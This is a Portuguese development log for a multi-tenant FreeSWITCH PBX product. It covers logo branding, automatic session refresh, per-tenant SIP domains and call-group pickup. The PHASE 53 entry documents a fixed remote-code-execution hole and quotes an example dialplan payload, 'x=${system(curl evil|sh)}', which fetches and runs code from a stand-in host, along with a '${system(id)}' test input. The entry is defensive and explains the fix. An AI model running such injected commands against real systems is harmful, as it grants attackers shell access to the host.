  • Testado ponta a ponta com um usuário de teste de verdade (convidado, nunca logado antes): login → /trocar-senha → senha trocada → /app direto, sem passar pela tela de login de novo. Usuário de teste removido no final

PHASE 50 — Branding "B2BCall by Handix" (pedido do usuário: logos novos)

  • Usuário forneceu 3 logos novos na raiz do projeto (logo_b2bcall_ horizontal.png, logo_b2bcall_quadrado.png, Logo_Handix.png, empresa mãe). Processados com sharp (trim de whitespace + resize pra tamanho web) e salvos em apps/frontend/public/branding/ como b2bcall-horizontal.png/b2bcall-quadrado.png/handix-logo.png — o antigo b2blogo.png foi substituído (era o mesmo desenho, só com mais espaço em branco ao redor)
  • achado ao processar: Logo_Handix.png original era RGB (sem canal alpha) — fundo branco opaco, não transparente. Aplicado brightness-0 invert nele (mesmo filtro já usado no logo B2BCall pro painel escuro do login) virava um retângulo branco sólido, sem nada visível dentro. Corrigido com um script Node usando sharp pra recolorir pixels próximos de branco (limiar 245) como transparentes antes de salvar — resultado com alpha real, confirmado lendo os bytes RGBA de um pixel de fundo (0,0,0,0)
  • Sidebar (tenant e platform): ícone quadrado do B2BCall ao lado do nome do tenant/"PLATFORM" no cabeçalho (canto superior esquerdo da tela) — some junto com o texto quando a sidebar está recolhida, mesmo comportamento de antes
  • Topbar: logo da Handix (canto superior direito, com link pra www.handix.com.br em nova aba) antes do seletor de tema — escondido abaixo de sm (mobile) pra não espremer a topbar já apertada
  • Login: "BY HANDIX" abaixo do logo principal do B2BCall no painel de marca, e um rodapé com o logo da Handix (versão branca) + link pra www.handix.com.br
  • Testado ponta a ponta via Puppeteer: tela de login, dashboard do tenant e da plataforma (claro e escuro), sidebar recolhida, drawer mobile — logos aparecendo corretos em todos, sem o artefato de retângulo branco no Handix

PHASE 51 — Renovação automática de sessão (achado real, reportado pelo

usuário: Ctrl+F5 depois de um tempo logado quebrava com 401 cru)

  • achado real: ACCESS_TOKEN_TTL = "15m" (secao 148) e apiFetch nunca tentava nenhum refresh — qualquer reload (ou até só navegar) depois de 15min logado batia 401 em toda Server Component que chamasse a API, e o erro (ApiError cru, JSON da API) subia sem tratamento nenhum até virar a tela de erro genérica do Next.js. Não era um caso raro: qualquer sessão de teste mais longa que 15min batia nisso
  • apps/frontend/src/middleware.ts (novo) — decodifica o exp do access token guardado no cookie (sem verificar assinatura, só leitura — a verificação de verdade continua sendo feita pela API) e, se faltar menos de 60s pra vencer, chama POST /auth/refresh com o refresh token antes da Server Component rodar, gravando o cookie novo tanto na resposta (response.cookies) quanto na própria requisição (request.cookies, via NextResponse.next({ request })) — sem isto, a MESMA requisição que disparou o refresh ainda leria o cookie velho (padrão documentado do Next.js pra refresh de auth em middleware que precisa valer já na requisição atual, não só na próxima)
  • Rede de segurança pro caso do refresh token TAMBÉM já ter vencido/ sido revogado (sessão parada por mais de 30 dias, ou logout em outro lugar): apps/frontend/src/app/error.tsx (Error Boundary do App Router) detecta uma mensagem de sessão expirada/401, desloga (POST /api/logout) e manda pro /login sozinho, em vez de mostrar a tela crua "Application error: a server-side exception...". Tem que ficar na raiz de app/, não dentro de app/app/ ou app/platform/error.tsx nunca pega erro do PRÓPRIO layout do mesmo segmento (é o layout de /app//platform que chama /auth/me e lança o erro), só de layouts/páginas aninhados abaixo (achado testando: o primeiro corte com um error.tsx por segmento não pegava nada, confirmado só depois de mover pra raiz)
  • Testado ponta a ponta com refresh token de verdade: token forjado pra vencer em 20s + refresh token real → renovação automática confirmada (token novo no cookie, página protegida carrega normal, sem nenhum 401 visível). Com refresh token inválido de propósito → confirmado o fallback: erro 500 na resposta inicial (esperado, SSR), mas o error boundary do client detecta, desloga e redireciona pro login sozinho — sem crash na tela pro usuário

PHASE 52 — Domínio SIP por tenant + grupo de captura + revelar senha

(achado real detalhado pelo usuário, testando o PABX de verdade)

  • achado real (o mais sério dos três): TenantsController.create() gravava telephonyDomain: "b2bcall.local" fixo pra TODO tenant novo — b2bcall-fs-config decide qual tenant é dono de um REGISTER só pelo domínio (Tenant.findFirst({ telephonyDomain: domain })), então com todo tenant no mesmo domínio o isolamento de PABX (ramais, call groups, filas, IVR) não tinha como funcionar de verdade. Correção: esta entrada originalmente dizia "nenhuma mudança de infra foi necessária", baseado só em testar o mod_xml_curl via curl direto (que funcionava). Isso era incompleto — só um teste de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou que o sofia profile internal TAMBÉM tinha force-register-domain fixo em $${domain}, ignorando o domínio do REGISTER e sempre resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer domínio real de tenant). Ver PHASE 53 pelo fix completo
  • Tenant.telephonyDomain agora é obrigatório e @unique (migration 20260830140000_tenant_domain_and_call_group, com backfill: tenants existentes ganharam {code}.b2bcall.net automaticamente, e os Extension.domain já criados foram atualizados junto — sem isso ficariam com um <domain> desatualizado no XML). Tela de criação de tenant sugere {code}.b2bcall.net ao digitar o código, editável antes de criar. Duplicado vira 403 claro
  • Extension.callGroup (novo, nullable) — grupo de captura (secao 178): ramais no mesmo grupo podem atender a chamada um do outro (*8/group pickup), ramais fora do grupo não. Vira a variable callgroup no directory XML (correção: a versão inicial desta entrada dizia call-group, com hífen — nome errado, copiado de convenção do Asterisk; FreeSWITCH usa callgroup sem hífen, lido via ${user_data(<ext>@<domain> var callgroup)}. A confusão de mecanismo — achando que a variable sozinha já fazia o pickup automático — também estava errada; ver PHASE 53 pelo mecanismo real e o dialplan necessário). Editável na criação e depois (PATCH /extensions/:id, novo)
  • POST /extensions/:id/reveal-password (novo) — achado real: "show once" puro não funciona no dia a dia de um PABX (reconfigurar um telefone físico ou softphone precisa da senha de novo; forçar reset toda vez derruba o registro de qualquer aparelho já configurado com a senha antiga). sipPasswordEnc sempre foi criptografia reversível (AES-256-GCM), nunca hash — só não estava exposto. Diferente de reset-password: nunca troca nada, só decifra a atual. Auditado (EXTENSION_PASSWORD_REVEALED) por ser sensível mesmo sem escrita
  • Tela de criação de ramal ganhou um bloco "Configuração do telefone/ softphone" (domínio, ramal, proxy=servidor, senha) — os 4 campos exatos que o usuário descreveu precisar pra configurar um aparelho
  • apps/freeswitch-config reconstruído e reiniciado (mudança de schema + lógica) — testado ponta a ponta contra o container REAL: criado tenant com domínio próprio + ramal com callGroup, docker exec no FreeSWITCH chamando fs-config direto (mesma rede Docker) confirmou (1) senha revelada bate exatamente com a gerada na criação, (2) call-group aparece no XML, (3) o mesmo número de ramal em domínios diferentes NUNCA se confunde (isolamento cross-tenant confirmado de verdade, não só por leitura de código)

PHASE 53 — Teste real de captura de chamada (pedido explícito do

usuário: "testa criando um ramal com callgroup e captura chamada de outro ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como resolvidos sem nunca registrar um SIP de verdade

  • achado real #1 (crítico, segurança), achado pesquisando o mecanismo certo de pickup antes de implementar o dialplan: o allowlist de application (ALLOWED_DIALPLAN_APPLICATIONS) nunca bloqueava ${nome(args)} (chamada de API do FreeSWITCH) embutida dentro do data de uma application já permitida como set/ export/playback. FreeSWITCH expande isso em tempo de chamada, e mod_commands (carregado nesta implantação) registra as APIs system/bg_systemRCE completo no host do FreeSWITCH, alcançável por qualquer Tenant Admin com freeswitch.configure (ex.: {"application":"set","data":"x=${system(curl evil|sh)}"}). Corrigido: ALLOWED_INLINE_API_FUNCTIONS (novo, packages/telephony/src/dialplan-xml.ts) + findDisallowedInlineFunctionCalls() + IsSafeDialplanData (novo, apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts, aplicado em ActionDto.data) bloqueiam qualquer ${nome(...)} fora de um allowlist de leitura (user_data, escape, url_encode, url_decode, regex, strftime) — ${variavel} sem parênteses nunca é bloqueado. Testado via curl: ${system(id)} → 400 claro; ${user_data(...)} (usado pelo pickup) → aceito normalmente
  • achado real #2 (o mecanismo de pickup em si estava errado): pesquisado contra a documentação oficial do FreeSWITCH antes de escrever qualquer dialplan — a variable callgroup sozinha NÃO faz pickup automático nenhum. O mecanismo de verdade: (1) o bridge que atende a ligação pro ramal precisa forkar um leg extra pickup/<chave> (registra a chamada num hash em memória, chave = grupo), usando ${user_data(${destination_number}@${domain_name} var callgroup)} pra descobrir o grupo do CALLADO; (2) uma extension de feature code (*8) separada chama a application pickup (nova no allowlist) com o grupo do PRÓPRIO CALLADOR, via ${user_data(${caller_id_number}@${domain_name} var callgroup)}. Reescrita a regra "Discagem interna" do tenant Acme (a versão anterior nem tinha user//@domain corretos no bridge — nunca teria funcionado numa chamada real) e criada a nova regra *8 "Capturar chamada do grupo"
  • achado real #3 (infra, não só aplicação): registrando um softphone de teste de verdade contra acme.b2bcall.net, o REGISTER batia 403 Forbidden mesmo com tudo certo na aplicação — o profile internal vanilla tem force-register-domain/ force-subscription-domain/force-register-db-domain fixados em $${domain} ("b2bcall.local"), ignorando completamente o domínio do REGISTER (<domain name="all" alias="true".../>, também vanilla, só afeta contexto de dialplan, não esta checagem). Isso contradiz a PHASE 52, que tinha concluído — só com teste via curl direto no mod_xml_curl, sem nunca registrar um SIP de verdade — que nenhuma mudança de infra seria necessária. Corrigido no infrastructure/freeswitch/Dockerfile com mais um sed (mesmo padrão do $${domain} já existente) removendo os 3 params — procedimento padrão documentado do próprio FreeSWITCH pra multi-domínio. Imagem reconstruída e o container recriado (não só patch ao vivo) — testado de novo do zero pra confirmar que o fix sobrevive a rebuild
  • Teste real ponta a ponta, com SIP de verdade (não só leitura de XML): instalado linphone-cli (softphone de console) em containers Docker descartáveis na mesma rede (b2bcall_default) — as portas SIP não são publicadas no host de propósito (secao 184), então um softphone real só alcança o FreeSWITCH de dentro da rede Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no grupo "suporte" (2004), todos registrados de verdade (show registrations no FreeSWITCH confirma). Cenário: 2002 liga pra 2001 (toca, registra o pickup/vendas) → 2003 (mesmo grupo) disca *8capturado de verdade: show channels confirma 2002 e 2003 bridged no mesmo call_uuid, callstate ACTIVE, codec negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a ligação foi roubada antes dele atender). Teste negativo: 2004 (grupo "suporte") tenta *8 na mesma ligação → falha (nenhum canal capturado, 2001 continua tocando) — confirma que grupos são isolados de verdade, não só "qualquer um captura qualquer coisa"
  • achado operacional, sem relação com telefonia: o disco da VM chegou a 100% de uso (13MB livres) no meio deste teste — os múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB em cache do BuildKit nunca limpo (docker builder du confirmou). Risco real pro ambiente inteiro (Postgres podia falhar escrita de WAL a qualquer momento). Corrigido com docker image prune -a -f + docker builder prune -a -f (reversível — só cache de build, nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso. Vale rodar de novo se o disco apertar depois de mais rebuilds
  • Containers/ramais/tenant de teste (2001-2004, testedomain1) removidos ao final; as 2 regras de dialplan reais do tenant Acme (Discagem interna corrigida + *8) foram mantidas — são configuração funcional de verdade, não lixo de teste

Riscos conhecidos

  • RAM da VM (1.9GB total): medido com Postgres+Redis+FreeSWITCH rodando juntos — ~91MB no total (Postgres 37MB, Redis 10MB, FreeSWITCH 44MB), bem tranquilo. O risco real ainda não testado é o build/runtime do Next.js (frontend) e vários workers Node simultâneos — reavaliar quando chegarmos lá.
  • Disco (26GB livre): build do FreeSWITCH + imagens Docker + gravações vão consumir espaço rápido. Monitorar com df -h.
  • RAM da VM aumentada pra 8GB em 2026-08-29 — resolve a preocupação acima, mas ainda não tem swap generoso nem monitoramento de pico durante um build de frontend + todos os workers rodando junto; reavaliar se o Next.js dev server crescer muito.
  • apps/api e apps/frontend rodam direto no host, sem supervisor, não sobrevivem a reboot RESOLVIDO na PHASE 38 (2026-08-30): os dois agora são services systemd (b2bcall-api.service/b2bcall-frontend.service, infrastructure/systemd/, enabled) — sobrevivem a reboot como os containers Docker já sobreviviam. API_PORT=3000 (.env) e PORT=3001 (Environment= da unit do frontend, não .env.local — não funciona lá, o CLI do Next.js decide a porta antes de aplicar esse arquivo) fixam as duas portas, então a ordem de start não importa mais (achado real: sem isso, os dois competiam pela 3000 por padrão, e quem perdesse crashava com EADDRINUSE em vez de cair pra 3001). Detalhes e comandos úteis (systemctl status/restart, journalctl -f) em infrastructure/systemd/README.md. Continuam rodando em modo dev (pnpm dev), não build de produção — decisão deliberada, ver o README.